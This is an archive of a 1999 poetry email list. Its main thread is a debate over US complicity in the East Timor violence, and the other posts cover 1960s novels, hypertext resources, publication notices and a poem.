I encourage all of you to use your search engines and research this stuff for yourself, and to trust your faculties and connections in separating the reliable information from the crap. I also encourage you to share the information about what really is happening; I can promise you NBC, The New York Times, and CNN will not.

Patrick Herron

pete spence wrote:

> please put this out to all mailartists for action. also send a protest
> to:[redacted]

> [redacted]
> [redacted]
> thanks pete spence
>
> speak up and out about East Timor. It may also be just
> >as good
> >and probably easier to protest the American gov't for their ongoing role in
> >the slaughter and oppression of the East Timorese. It was the American
> >Gov't. that paid for and supervised the original Indonesian invasion, and
> >the American gov't is trying hard to escape culpability with ambiguous
> >declarations (coming from such shits as Madeline Albright) about the
> >chaotic
> >and oppressive state of affairs while also trying to take any potential
> >actions and tie them up in red tape. Such action clearly gives the
> >Indonesian gov't has a chance to tie up power once again while everyone
> >else
> >takes their time designating panels and working groups. Since a visit by
> >Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian
> >government, using mostly US-made and US-paid-for weapons and military
> >intelligence support, has killed between 1/4 and 1/3 of the original
> >inhabitants. That's about 200,000-300,000 people. We're talking
> >concentration camps between 1975-1979. Paid for by US taxpayers. Certain
> >people meant business when it all started 24 years ago; I don't think they
> >mean any less harm now. If the US supported the democratic efforts of the
> >East Timorese none of this probably would have happened.
> >
> >http://www.freetimor.com/
> >
> >http://www.lbbs.org/ZNETTOPnoanimation.html
> >
> >http://www.motherjones.com/east_timor/
> >
> >http://www.etan.org/
> >
> >regards,
> >Patrick Herron
> >

> >
> >>so what the way i see it.. maybe better protest to the
> >indonesian government on the handling of the east timorese might be a
> >better
> >usage of your time; [redacted]
> >
> >thanks pete spence

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177. Mark Weiss

Re: I can't believe it!!!

Tue 14 Sep 1999

We didn't "cause" it, but we've certainly been an enabling factor: we have registered little complaint when East Timor was annexed and its people slaughtered (some 200,000) of them over the years, ditto the situation in Irian Jaya, ditto the slaughter of ethnic Chinese. Instead, we have consistently stroked the Indonesian govt for being anticommunist, and that stroking has taken the form of ytraining and supplying their military, contributing greatly to its ability to overwhelm the rest of govt.

At 01:14 PM 9/13/99 -0400, you wrote:
>Pete,
>
>Before I write anyone, help me here, if you can. I'm not following this
line of
>accusation. I need to be clear.
>
>Since we've had involvement in Indonesia, it must be our fault that the
>Indonesian army and brother gangs are slaughtering people in churches,
hacking
>them machetes? Did they get the machetes from America too? I suppose if
their
>govt hadn't bought arms from us years ago then all would be peaceful? This
>sounds naive to the point of absurdity.
>
>I see no connection with what you are saying and the psychotic rampage fest
>going on in Timor. You've noted that Kissinger, etc, visited Timor and
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>slaughters began. Is there an association here? If so, can you link it for

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>
>Must we blame the American gov for it, are we compelled? There are those who
>believe the US govt manufactures tornadoes to chase them around and wreck their
>barns. I don't believe that either, but thousands are convinced.
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>And why should the US support Timor seceding when we didn't support South
>Carolina, and certainly don't support Quebec? Also, plenty of money we send
>overseas, in one form or another, gets redirected and wasted. Witness the
>diversion of funds by Russian mafia. We turned the other way on Savac (sp?) in
>Iran, though our intelligence knew they were out of control, but did we do the
>same in Indonesia? And if we did, does this really account for the murdering
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>
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>
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>
>> please put this out to all mailartists for action. also send a protest
>> to:[redacted]
>> [redacted]
>> [redacted]
>> thanks pete spence
>>
>> speak up and out about East Timor. It may also be just
>> >as good

>> >and probably easier to protest the American gov't for their ongoing
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>> >the slaughter and oppression of the East Timorese. It was the American
>> >Gov't. that paid for and supervised the original Indonesian invasion, and
>> >the American gov't is trying hard to escape culpability with ambiguous
>> >declarations (coming from such shits as Madeline Albright) about the
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>> >and oppressive state of affairs while also trying to take any potential
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>> >Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian
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>> >intelligence support, has killed between 1/4 and 1/3 of the original
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>> >http://www.etan.org/
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>http://webdelsol.com
>LOCUS OF LITERARY ART ON THE WWW
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178. **Taylor Brady**

Re: I can't believe it!!!

Tue 14 Sep 1999

A few points:

1) Kissinger's "visit" was considerably more instrumental than the "chat-and-tea" image might otherwise conjure one to believe. It was rather, the U.S. State Department's imprimatur and guarantee of military assistance to a regime embarked on a series of "policy initiatives" which included, most notably, a) the slaughter and forced relocation of much of its own peasantry, labor leaders and movement members, intellectuals, etc., in the name of a defense against communism; and b) the invasion and annexation of Timor, resulting in a brutal occupation which left nearly a quarter of a million dead. This, while the U.S. (among others - recently, the role of Japan and Australia would also bear some scrutiny) continued (and continues, notwithstanding Clinton's half-assed "retraction of assistance") to provide the proverbial "military, technical and economic aid" to the Indonesian regime. This isn't a matter of having bought arms years ago, but one of receiving - until this week, and that only if Clinton's retraction is to taken at face value - ongoing direct support from the U.S. and other armaments-producing nations. Thus, while the machetes might be a

domestic industry in Indonesia, the rifles, troop transport vehicles, paramilitary training, etc., most certainly are not. This aid has been continued under recent administrations with the rationalization that it's the Indonesian military itself that can be counted on to bring the militias back into line. For the sheer ridiculousness of this claim, if one still needs it substantiated, one might turn to Alan Nairn's recent reports on Pacifica Radio, detailing the intimate relationship between the army and the militias. But other sources are many and well-documented. If you have web access, you might take a look at the East Timor Action Network's web site: www.etan.org 2) The above would seem to have some bearing on your assertion that East Timor is attempting to "secede" from a legitimate national government - which is simply not the case. East Timor, as an Indonesian territory, is the result of a forcible annexation sponsored by U.S. and other interests. Many of the key figures in the initial "sponsorship" remain in positions of power today. In other words, this is about as far from a quixotic attempt to rectify a distant and tragic "other-people's" history as you can get. 3) You ask: "We turned the other way on Savac we see now (sp?) in Iran, though our intelligence knew they were out of control, but did we do the same in Indonesia? And if we did, does this really account for the murdering we see now?" Yes. Absolutely. As I've pointed out, this isn't simply a case of turning the other way, but a direct outgrowth of deliberate policies of military and economic support pursued by the U.S., Japan and other militarized nations. And although the point has now been reached at which the killings more than likely cannot be stopped without some sort of direct intervention, the extreme probability was, until quite recently, that the Indonesian regime simply could not have pursued its policies of aggression without the direct support of the U.S. and its allies - that, in other words, the annexation itself would have been unfeasible and unsustainable without that aid. Until very recently, a cut-off of such support might have sufficed to avert the campaign of terror now being pursued. There is no "genocidal gene" - and such pseudo-explanations ("they're just nuts _over there_, who can understand their motivations?"), I'd warrant, most often mark the site of a real and determinate chain of events, the complicity of one's own nation in which is precisely what the resort to racialized typologies attempts to obscure.

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Michael Neff
Sent: Monday, September 13, 1999 10:15 AM
To: [redacted]
Subject: Re: I can't believe it!!!

Pete,

Before I write anyone, help me here, if you can. I'm not following this line of
accusation. I need to be clear.

Since we've had involvement in Indonesia, it must be our fault that the Indonesian army and brother gangs are slaughtering people in churches, hacking them machetes? Did they get the machetes from America too? I suppose if their govt hadn't bought arms from us years ago then all would be peaceful? This sounds naive to the point of absurdity.

I see no connection with what you are saying and the psychotic rampage fest going on in Timor. You've noted that Kissinger, etc, visited Timor and then the slaughters began. Is there an association here? If so, can you link it for me? I don't see it from what you are saying.

Must we blame the American gov for it, are we compelled? There are those who
believe the US govt manufactures tornadoes to chase them around and wreck their
barns. I don't believe that either, but thousands are convinced.

And why should the US support Timor seceding when we didn't support South Carolina, and certainly don't support Quebec? Also, plenty of money we send overseas, in one form or another, gets redirected and wasted. Witness the diversion of funds by Russian mafia. We turned the other way on Savac (sp?) in Iran, though our intelligence knew they were out of control, but did we do the same in Indonesia? And if we did, does this really account for the murdering we see now?

I'm listening. Perhaps you can educate me, flow chart me, graph me, time line me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or Moynihan or Chuck Rob or whoever in any conspiratorial setting, ignited and guided the genocidal gene that compels large groups of people to willfully set fires to other large groups of people.

Until you do, I'm not writing anyone.

Mike

pete spence wrote:

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> >the American gov't is trying hard to escape culpability with ambiguous
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> >inhabitants. That's about 200,000-300,000 people. We're talking
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> >people meant business when it all started 24 years ago; I don't think they
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179. Karen Kelley
Snail Mails Needed
Tue 14 Sep 1999

If anyone has earth addresses for the following people, I'd appreciate it. Backchannel, please:

Juliana Spahr
Eliot Weinberger
Sheila Murphy
Gil Ott
Rachel Blau DuPlessis
Dan Featherston
Cydney Chadwick
Tony Green
Bill Luoma
Marjorie Perloff
Kent Johnson
Anthony Lawrence
Joe Amato
AH Bramhall
Laura Moriarty
Forrest Gander

↑ Index

180. Pritchett,Patrick
Re: Novels of the 60's
Tue 14 Sep 1999

Has no one mentioned Pynchon's _Crying of Lot 49_? Ah, for the vale of San Narciso and the halycon tunes of The Paranoids.

Patrick Pritchett

↑ Index

181. Kali Tal
Re: I can't believe it!!!
Tue 14 Sep 1999

Mike,

Sounds like you're cutting flame-bait to me. To support your viewpoint you'd have to argue that the US habit of providing financial and military support to dictatorial governments in the Third World (as long as they are willing to support our economic interests) has no bearing on our moral or ethical responsibilities in those regions. From what you say, it shouldn't matter that in country after country we are willing to prop up unpopular regimes (and occasionally invent and install them) to serve our economic and political interests despite popular resistance to externally imposed structures of authority. Asking Pete to "educate" you on this topic is sidestepping your own responsibility to defend your position of non-involvement. He provided you with URLS--I have no doubt that you're educated enough to read them, come to your own conclusions and then "educate" *Peter* if you so choose.

I haven't posted to POETICS in ages because the level of discourse here usually winds up pissing me off if I get involved, despite the fact that I'm a publisher of poetry and that really this *ought* to be a place I'm comfortable hanging out. When somebody on POETICS posts something that somebody else doesn't like (particularly on political grounds) the common tactic on this list is to snidely and sarcastically attack the intelligence of the poster, and rarely ever to directly engage their political arguments. I like political arguments and I think they're related to poetry. What I don't like is the very nasty tone of intellectual and moral superiority wielded by some (usually more conservative) members to silence others here. It takes more work to make your own argument, Peter, than to sneer at someone else's argument.

Receding into silence once again,
Kali

↑ Index

182. Pritchett,Patrick
Re: I can't believe it!!!
Tue 14 Sep 1999

Yes, indeed. Please see the latest issue of The Nation for more on current US involvement in Indonesia:

http://www.thenation.com/ US COMPLICITY IN EAST TIMOR Although the US government has reprimanded Indonesia for the militias' campaign of terror in East Timor, the US military has, behind the scenes and contrary to Congressional intent, been backing the Indonesian Army. Allan Nairn filed this first-hand report from Dili, East Timor

Patrick Pritchett

↑ Index

183. Mike Kelleher
[Fwd: untitled or magazine 3]
Tue 14 Sep 1999

"Michelle H. Citrin" wrote:

> *----------*
>
> *_untitled or magazine_ is happy or pleased to announce the publication*
>
> *of its 3rd issue, featuring poems by*
>
> *Tim McPeek*
> *Jen Russo*
> *Natasha Dwyer*
> *Mike Kelleher*
> *Loren Goodman*
> *Aaron Armstrong Skomra*
> *Michelle Citrin*
> *Ben Friedlander*
>
> *Orange corrugated cardboard cover. They are 5 dollars plus one dollar to cover postage. Send check (payable to Michelle Citrin) to:*
>
> *untitled or magazine/press*
> *169 So. Union St. #4*
> *Burlington, VT 05401*
>
> *--Michelle Citrin and Aaron Armstrong Skomra*
> [redacted]

↑ Index

184. Brian Lennon
Re: I can't believe it!!!
Tue 14 Sep 1999

Perhaps only when someone bursts the bubble of the New Model Poetics Army do we get down to actually conversing with each other. My guess is, it's less likely that Mike Neff doubts the complicity of the US in evil deeds than that he found the assumption of privilege regarding "the real story" to be unwarranted. I guess it's too much to ask of the medium that we not post initially in haste. But it's heartening to see this thread become an exchange not a flame war.

Brian Lennon

↑ Index

185. William Marsh
Re: hypertext suggestions
Tue 14 Sep 1999

Dodie:

To add to what others have offered...

The Brown site put together by Landow and students
http://landow.stg.brown.edu/cpace/ht/htov.html
or http://landow.stg.brown.edu/cpace/cspaceov.html

his book _Hyper/Text/Theory_ is good for beginning work

"Meditations on First Cybersophy" is an example from the Brown website suggesting possibilities for critical work in the HT format
http://landow.stg.brown.edu/cpace/theory/pena/index2.html

"The Interactive Story"
http://ma.hrc.wmin.ac.uk/ma.theory.3.2.1.db

Joyce's "Twelve Blue" is available on-line
http://www.eastgate.com/TwelveBlue/ (good for an introduction, though i agree with Taylor there's probs with Eastgate)

other sites that might appeal:
Building Babel http://www.peg.apc.org/~spinifex/babelbuildingsite.html
Lies http://www.users.interport.net/~rick/lies/lies.htm

i also like to send students to a brief article i found on Ramelli's "Reading Wheel," a prototype hypertext machine designed in the 16h c.
http://www.mindspring.com/~jntolva/ramelli.html

hope these help,
bill

> *-----Original Message-----*
> *From: UB Poetics discussion group*
> *[mailto:[redacted]]On Behalf Of Dodie Bellamy*
> *Sent: Thursday, September 09, 1999 8:18 PM*
> *To: [redacted]*
> *Subject: hypertext suggestions*
>
> *Hi, I have an independent study student who is going to do a hypertext horror piece. I have no problem helping her with the horror end of the project, but also want to suggest some good hypertext pieces and/or theories. I'm sending her the urls of a couple things that have caught my eye, but does anyone have any suggestions of some cut-above hypertext links? Or even books/articles on hypertext?*
>
> *Thanks.*
>
> *Dodie*

↑ Index

186. **Stephen Ellis**

Re: I can't believe it!!!

Tue 14 Sep 1999

Does anyone know specifics re: the role of Indonesian General Wiranto in the recent events unfolding in East Timor? Wiranto, among those who "got" the message the West was "sending" (ie its nervousness over the Asian economic situation), was apparently the man who gently suggested through mutual friends that Suharto step down in May 98. What role does the army play in Indonesian internal politics? Is it as in Turkey, to "guarantee" the continuity of a secular state in a highly religious society? I woldn't put it past Wiranto to be using this ploy as a cloak for some heavy business glad-handing with anyone who comes down the pike, not just the Americans & UK or the West in general, but anyone willing to play his own essentially powerless hand in Wiranto's game. There's no reason for him to have political ambitions, since he's already at the top of the heap (yet hiding beneath its statistics). Somebody's making a pile of money on the piles of bodies, but the question remains, who is it? & specifically how are they doing it? Weapons trade, sure, but ... protection money protects just what, exactly? Talk abt Investigative Poetry - this isn't just a job for Ed Sanders or Superman, but for everyone, like, go figure, who's who and why they ACT that way behind the scenes while up front the explanations and solutions are as sweet as the ring of your old time Burroughs cash register to the ear of Pavlov's Dog.

> *From: Hilton Manfred Obenzinger <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: I can't believe it!!!*
> *Date: Tue, 14 Sep 1999 08:14:12 -0700*
>
> *Michael --*
>
> *I understand that you may think that the connections between the US and East Timor are tenuous, at best, but, like many poems, there is much operating below what appears to be flat surfaces. US involvement in Indonesia -- not even counting the massacre of 1 million in the overthrow of Sukarno -- goes back to Kissinger, when Indonesia decided to annex East Timor, muting the US response and preventing the UN or anyone else from intervening, then strengthening aid to the Suharto regime. All of this flows from Cold War logic -- particularly when other newly independent Portuguese colonies such as Angola and Mozambique were displaying too much independence. East Timor was an annexation by force of a people with a different colonial history and different identity, so it is not quite the same as the examples you gave. The international community condemned the annexation, and after decades of massacres the East Timorese finally got their chance to vote for independence -- and took it. All of this exposes decades of American complicity and double standards. No, the militia thugs are not Americans -- and they are accountable -- and neither were the tonton macoutes in Haiti, but America bears much responsibility there as well. I hope this helps clarify the situation a little for you.*
>
> *Incidentally, isn't it about time that Kissinger was arrested for war crimes?*
>
> *Hilton Obenzinger*

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↑ Index

187. **Aldon Nielsen**

Re: novel of the 60s

Tue 14 Sep 1999

Tried to respond to Mark directly but didn't get through for some reason --

DON'T overlook William Melvin Kelley's 1962 novel _A Different Drummer_ -- a major work and an unusual point of view

↑ Index

188. **K.Silem Mohammad**
Re: Novels of the 60's
Tue 14 Sep 1999

Thanks to whoever mentioned Kotzwinkle's _Fan Man_ (though I thought that was '70s)--I read it years ago, and laughed till I cried. Had forgotten all about it. Didn't he write _E.T._? Weird.

Don't know if someone else has already mentioned it, but in terms of popular longevity alone (not to mention its elevation of sentimentality and anti-intellectualism to a truly sublime level), Daniel Keyes' _Flowers for Algernon_ is essential.

I also like Updike's _Rabbit, Run_ and (maybe even more) _Rabbit Redux_ (is that still 60's?). I'm betting nobody else nominated those.

_____
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189. **Aldon Nielsen**
M.B. Tolson
Tue 14 Sep 1999

There is finally an edition in paperback of Melvin Tolson's poems, or at least most of them. Just out from University of Virginia Press is <underline>"Harlem Gallery" and Other Poems of Melvin B. Tolson.</underline> The book includes the three volumes that were published during Tolson's life, along with a few magazine pieces that had not been collected, including the crucial "E. & O. E." which appeared in <underline>Poetry</underline> in 1951. The new edition includes Tolson's notes to <underline>Libretto for the Republic of Liberia</underline> and new annotations to <underline>Harlem Gallery</underline>, provided by the editor, Raymond Nelson. What is not included are the earlier poems that appeared a few years ago as <underline>A Gallery of Harlem Portraits</underline> and some fugitive poems. There will be two previously unpublished Tolson poems in an anthology that I am editing with Lauri Ramey that Alabama will publish soon.

If you've never read Tolson, get this book now. And I hope all of you who've been asking for years why his books are out of print will now adopt this book for your courses.

Watch this space for future news of a selected Tolson writings that will collect an interesting sampling of his prose work.

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190. Leonard Brink
instress.com
Tue 14 Sep 1999

http://www.instress.com

contains:

A catalog of chapbooks
&
Inscape Magazine

Windhover, an on-line journal of poetry

Spencer Selby's List of Magazines (with Links)

New American Writing

↑ Index

191. Michael Neff
Re: I can't believe it!!!
Tue 14 Sep 1999

I'm not an expert on East Timor/Indonesian politics and don't claim to be. I am commenting specifically on attempts to directly link the US govt (parties, individuals, policies, some combo thereof) and specific actions or inactions on its part to these current manifestations of acute human barbarism. At worst/best then, we are "enabling" to some degree that cannot be measured. However, can one state for certainty that US "involvement" was *necessary* to provoke the killing fields in this case?

In other words, must the US be a factor in enabling socio-psychotic behavior (documented throughout history beginning with the Assyrians most notably?) or can it take place independent of the US? And if we admit it can take place independent of the US, or has taken place independent of the US, or will take place independent of the US, can we state with certainty that this particular plague demands US "enabling" behavior?

Or could it have happened anyway?

Are there forces, cultures, history, hatreds inherent to the land there that play a factor? That might even dwarf or render any US enabling inconsequential?

Back to my point about the machetes. These were not funded by the US govt. Arms or not, they have enough arms left to kill. As far as these other tragic situations around the globe, are we responsible, enabling all those too, perhaps because we cannot play our role as global policeman too well? I'm perplexed.

Perhaps this is exactly why we shouldn't be global policemen. Too much blame, too easy to fault?

Mark Weiss wrote:

> *We didn't "cause" it, but we've certainly been an enabling factor: we have registered little complaint when East Timor was annexed and its people slaughtered (some 200,000) of them over the years, ditto the situation in Irian Jaya, ditto the slaughter of ethnic Chinese. Instead, we have consistently stroked the Indonesian govt for being anticommunist, and that stroking has taken the form of ytraining and supplying their military, contributing greatly to its ability to overwhelm the rest of govt.*
>
> *At 01:14 PM 9/13/99 -0400, you wrote:*
> *Pete,*
>
> *Before I write anyone, help me here, if you can. I'm not following this line of*
> *accusation. I need to be clear.*
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> *Since we've had involvement in Indonesia, it must be our fault that the Indonesian army and brother gangs are slaughtering people in churches, hacking*
> *them machetes? Did they get the machetes from America too? I suppose if their*
> *govt hadn't bought arms from us years ago then all would be peaceful? This sounds naive to the point of absurdity.*
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> *I see no connection with what you are saying and the psychotic rampage fest going on in Timor. You've noted that Kissinger, etc, visited Timor and then the*
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> *And why should the US support Timor seceding when we didn't support South Carolina, and certainly don't support Quebec? Also, plenty of money we send overseas, in one form or another, gets redirected and wasted. Witness the diversion of funds by Russian mafia. We turned the other way on Savac (sp?) in*
> *Iran, though our intelligence knew they were out of control, but did we do the*
> *same in Indonesia? And if we did, does this really account for the murdering*
> *we see now?*

I'm listening. Perhaps you can educate me, flow chart me, graph me, time line
me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or Moynihan or
Chuck Rob or whoever in any conspiratorial setting, ignited and guided the genocidal gene that compels large groups of people to willfully set fires to other large groups of people.

Until you do, I'm not writing anyone.

Mike

pete spence wrote:

please put this out to all mailartists for action. also send a protest to:[redacted]
thanks pete spence

speak up and out about East Timor. It may also be just as good
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takes their time designating panels and working groups. Since a visit by Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian government, using mostly US-made and US-paid-for weapons and military intelligence support, has killed between 1/4 and 1/3 of the original inhabitants. That's about 200,000-300,000 people. We're talking concentration camps between 1975-1979. Paid for by US taxpayers. Certain people meant business when it all started 24 years ago; I don't think they mean any less harm now. If the US supported the democratic efforts of the East Timorese none of this probably would have happened.

http://www.freetimor.com/

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> *Patrick Herron*
>
> *so what the way i see it.. maybe better protest to the*
> *indonesian government on the handling of the east timorese might be a better*
> *usage of your time;* [redacted]
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192. **Michael Neff**
Re: I can't believe it!!!
Tue 14 Sep 1999

I don't doubt what you are saying about Kissinger, policies, support, yadda yadda.

This isn't my point. We're off track. My comments were directed to this statement by Peter Spence: "It may also be just as good and probably easier to protest the American gov't for their ongoing role in the slaughter and oppression of the East Timorese."

The words "ongoing role in the slaughter and oppression" makes me think that like Nazis in the Ukraine, we are there with a policy which places active operatives in the field who are promoting and directing hacking gangs, resident psychos, and Indonesian army units to slaughters, rapine, burnings, church massacres, etc. etc. etc.

US doesn't have to grant imprimatur to any dictator to begin slaughter, forced relocations, tortures, etc. This kind of thing happens all the time and is happening in other places and climes without imprimaturs. The dictator, the state is imprimatur in of itself and always has been, an arrogance which breeds intolerance at best and secret police mechanisms at worst. Such bodies and culture require no Madeline Albright, Kissinger, Ford, or whoever to lend them authority to oppress.

But here is a statement I wish to challenge:

"... a direct outgrowth of deliberate policies of military and economic support pursued by the U.S., Japan and other militarized nations. And although the point has now been reached at which the killings more than likely cannot be stopped without some sort of direct intervention, the extreme probability was, until quite recently, that the Indonesian regime simply could not have pursued its policies of aggression without the direct support of the U.S. and its allies - that, in other words, the annexation itself would have been unfeasible and unsustainable without that aid."

Now, wait a minute. Let's reality check.

What we're talking about is a relatively unsophisticated third world military apparatus (not a crack group like Hitler's SS divisions, Iraq's Guards--an outgrowth of the Ten Thousand Immortals; or US Seals, etc.) and some machete wielding, body gutting thugs of a paramilitary nature common under many conditions, who are in unison attacking a virtually defenseless populace.

Is that not so? Are they facing a line of troops who are harrying their flanks, threatening their lines, an army or resisting force which makes "simply could not have pursued" without US/Japan/etc help and a priori statement?

It looks to me like forced takeover requires only a savage will to see it through, not smart bombs. It's happened many times before, and will again.

Taylor Brady wrote:

> *A few points:*
>
> *1) Kissinger's "visit" was considerably more instrumental than the "chat-and-tea" image might otherwise conjure one to believe. It was rather, the U.S. State Department's imprimatur and guarantee of military assistance to a regime embarked on a series of "policy initiatives" which included, most notably, a) the slaughter and forced relocation of much of its own peasantry, labor leaders and movement members, intellectuals, etc., in the name of a defense against communism; and b) the invasion and annexation of Timor, resulting in a brutal occupation which left nearly a quarter of a million dead. This, while the U.S. (among others - recently, the role of Japan and Australia would also bear some scrutiny) continued (and continues, notwithstanding Clinton's half-assed "retraction of assistance") to provide the proverbial "military, technical and economic aid" to the Indonesian regime. This isn't a matter of having bought arms years ago, but one of receiving - until this week, and that only if Clinton's retraction is to taken at face value - ongoing direct support from the U.S. and other armaments-producing nations. Thus, while the machetes might be a domestic industry in Indonesia, the rifles, troop transport vehicles, paramilitary training, etc., most certainly are not. This aid has been continued under recent administrations with the rationalization that it's the Indonesian military itself that can be counted on to bring the militias back into line. For the sheer ridiculousness of this claim, if one still needs it substantiated, one might turn to Alan Nairn's recent reports on Pacifica Radio, detailing the intimate relationship between the army and the militias. But other sources are many and well-documented. If you have web access, you might take a look at the East Timor Action Network's web site: www.etan.org*
> *2) The above would seem to have some bearing on your assertion that East Timor is attempting to "secede" from a legitimate national government - which is simply not the case. East Timor, as an Indonesian territory, is the result of a forcible annexation sponsored by U.S. and other interests. Many of the key figures in the initial "sponsorship" remain in positions of power today. In other words, this is about as far from a quixotic attempt to rectify a distant and tragic "other-people's" history as you can get.*
> *3) You ask: "We turned the other way on Savac we see now (sp?) in Iran, though our intelligence knew they were out of control, but did we do the same in Indonesia? And if we did, does this really account for the murdering we see now?" Yes. Absolutely. As I've pointed out, this isn't simply a case of turning the other way, but a direct outgrowth of deliberate*

policies of military and economic support pursued by the U.S., Japan and other militarized nations. And although the point has now been reached at which the killings more than likely cannot be stopped without some sort of direct intervention, the extreme probability was, until quite recently, that the Indonesian regime simply could not have pursued its policies of aggression without the direct support of the U.S. and its allies - that, in other words, the annexation itself would have been unfeasible and unsustainable without that aid. Until very recently, a cut-off of such support might have sufficed to avert the campaign of terror now being pursued. There is no "genocidal gene" - and such pseudo-explanations ("they're just nuts _over there_, who can understand their motivations?"), I'd warrant, most often mark the site of a real and determinate chain of events, the complicity of one's own nation in which is precisely what the resort to racialized typologies attempts to obscure.

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Michael Neff
Sent: Monday, September 13, 1999 10:15 AM
To: [redacted]
Subject: Re: I can't believe it!!!

Pete,

Before I write anyone, help me here, if you can. I'm not following this line of accusation. I need to be clear.

Since we've had involvement in Indonesia, it must be our fault that the Indonesian army and brother gangs are slaughtering people in churches, hacking them machetes? Did they get the machetes from America too? I suppose if their govt hadn't bought arms from us years ago then all would be peaceful? This sounds naive to the point of absurdity.

I see no connection with what you are saying and the psychotic rampage fest going on in Timor. You've noted that Kissinger, etc, visited Timor and then the slaughters began. Is there an association here? If so, can you link it for me? I don't see it from what you are saying.

Must we blame the American gov for it, are we compelled? There are those who believe the US govt manufactures tornadoes to chase them around and wreck their barns. I don't believe that either, but thousands are convinced.

And why should the US support Timor seceding when we didn't support South Carolina, and certainly don't support Quebec? Also, plenty of money we send overseas, in one form or another, gets redirected and wasted. Witness the diversion of funds by Russian mafia. We turned the other way on Savac (sp?) in
Iran, though our intelligence knew they were out of control, but did we do the
same in Indonesia? And if we did, does this really account for the murdering
we see now?

I'm listening. Perhaps you can educate me, flow chart me, graph me, time line
me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or Moynihan or
Chuck Rob or whoever in any conspiratorial setting, ignited and guided the genocidal gene that compels large groups of people to willfully set fires to other large groups of people.

Until you do, I'm not writing anyone.

Mike

pete spence wrote:

please put this out to all mailartists for action. also send a protest
to:[redacted]
thanks pete spence

speak up and out about East Timor. It may also be just
as good
and probably easier to protest the American gov't for their ongoing role in
the slaughter and oppression of the East Timorese. It was the American Gov't. that paid for and supervised the original Indonesian invasion, and the American gov't is trying hard to escape culpability with ambiguous declarations (coming from such shits as Madeline Albright) about the chaotic
and oppressive state of affairs while also trying to take any potential actions and tie them up in red tape. Such action clearly gives the Indonesian gov't has a chance to tie up power once again while everyone else
takes their time designating panels and working groups. Since a visit by Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian government, using mostly US-made and US-paid-for weapons and military intelligence support, has killed between 1/4 and 1/3 of the original

> *inhabitants. That's about 200,000-300,000 people. We're talking concentration camps between 1975-1979. Paid for by US taxpayers. Certain people meant business when it all started 24 years ago; I don't think they*
> *mean any less harm now. If the US supported the democratic efforts of the*
> *East Timorese none of this probably would have happened.*
>
> *http://www.freetimor.com/*
>
> *http://www.lbbs.org/ZNETTOPnoanimation.html*
>
> *http://www.motherjones.com/east_timor/*
>
> *http://www.etan.org/*
>
> *regards,*
> *Patrick Herron*
>
> *so what the way i see it.. maybe better protest to the*
> *indonesian government on the handling of the east timorese might be a better*
> *usage of your time;* [redacted]
>
> *thanks pete spence*
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*
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193. A H Bramhall
more unimportant matter
Tue 14 Sep 1999

That Speck There

reasonable radicalism resists the saturation point.
bringing with this item another fanatical
reference work known to
explode out of all
proportion to dullards. the sense of
excuse will be fried on your
next trip into town. when you say
"there is no town"
it fills me gravely with
antsiness. like, how can voiceover prove
my worth? I got together with
mainlines forever, without
refusing to water the dog. now
it's on other terms, the sort that
render fat like an
idea. I have no idea
personally, but seem to sing in the shower. when done
there is no history to fall
back on, just bathmats and the like.
and that's so telling, a full spectrum
poetry that believes the communal
grope has much to do with
issues of darkness. lights are for losers,
so ordinary. the tribe lives tribal
because definitions last. yes, anything defined will
remain so until redefined. that's my awning, where do you
keep yours? I ask rhetorically
since what purpose would there
be to remember anything, dreams included?
to assert a factual basis for every
your declaration simply masks the boundaries with
dressy new ones. meanwhile
the reference point goes walkabout. so
why get tired, why give up? the throng
has my watch, or watches me, or what

is a thatched hut nowadays?
my sermon, my sense, and heaven prove
reliant

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194. **Michael Neff**
Re: US/Aus/Indonesia/E Timor
Tue 14 Sep 1999

Dear Patrick,

I'm not going to debate your very thorough knowledge of this region of the earth and your considerable insight into the secret workings of the US Govt, Chevron, NBC news, etc. etc and their various and ongoing collusions. I've heard formula explanations of various oil company/media/govt conspiracies being responsible for all sorts of behavioral phenomena, just as I have heard individuals far less erudite than yourself claim space aliens are responsible for a wide range of other phenomena. I myself grew up believing that the govt/media covered up Bermuda Triangle truths, etc. I'm not saying this matter is in the same league, don't get me wrong. I'm just saying I'm hearing some familiar themes here.

I'll tell you emphatically that I do *not* get my news from CNN, NBC, etc. During the Kosovo crisis, e.g., I watched far more interesting French coverage (they even interviewed a British officer). But I'll reestablish the context, make a few points, and then let it go.

First, and again, I have been hearing oil company/USGovt/etc theories to explain a wide spectrum of antisocial behaviors around the earth and I don't always buy it, and I'm not totally buying it now, IN THE CONTEXT OF the homicidal group behavior there. And that is my point exactly. Occam's Razor, the Japan/US/NBC/Chevron formal or informal infrastructure of conspiracy is not necessary to explain the rampaging militia and military. This is not to say components of these nebulous groups (like clouds, they dissolve the closer you look) are not involved in Indonesia to various degrees, they are, of course! Who can deny that? And they are involved in ways you enlighten us to.

Second, I become suspicious when explanations of group/national/tribe behaviors, esp pronounced psychotic ones on such a grand and incredibly savage scale, don't include local culture, socio-psych, or other factors to account for them. Surely, there is a synergy here, a harmonious convergence of psychotic gravities which should be noted and divulged. This harping on the US, oil companies, Japan, macro international political models, etc. don't serve to explain the killer hysteria and frenzy. This is what I am getting at. Believe me Patrick,

the US Govt is far, far more stupid than malevolent. It requires planning and skill to be intentionally malevolent.

Lets look at a few quotes here:

"The Indonesians and Americans and Australians all have a share in the responsibility, and to reduce it to "fault" of one group would be irresponsible. I encouraged Pete to include the US accountability."

I say it goes far deeper than this. These models of yours are insufficient to explain the group behavior.

"The East Timorese were pretty much left alone by the Portuguese."

That's a shocker. Why didn't the Portugese turn them into slaves like they did so many others?

"The East Timorese were a primitive culture in the sense that they didn't have guns or television or refrigerators; they were tribal and isolated from the industrialized world."

Then no wonder the US had to throw so much gun money to Indonesia.

"The US and Australia knew of the vast amount of wealth in the Timor Gap, but couldn't get to it, b/c that would have started a war with Portugal."

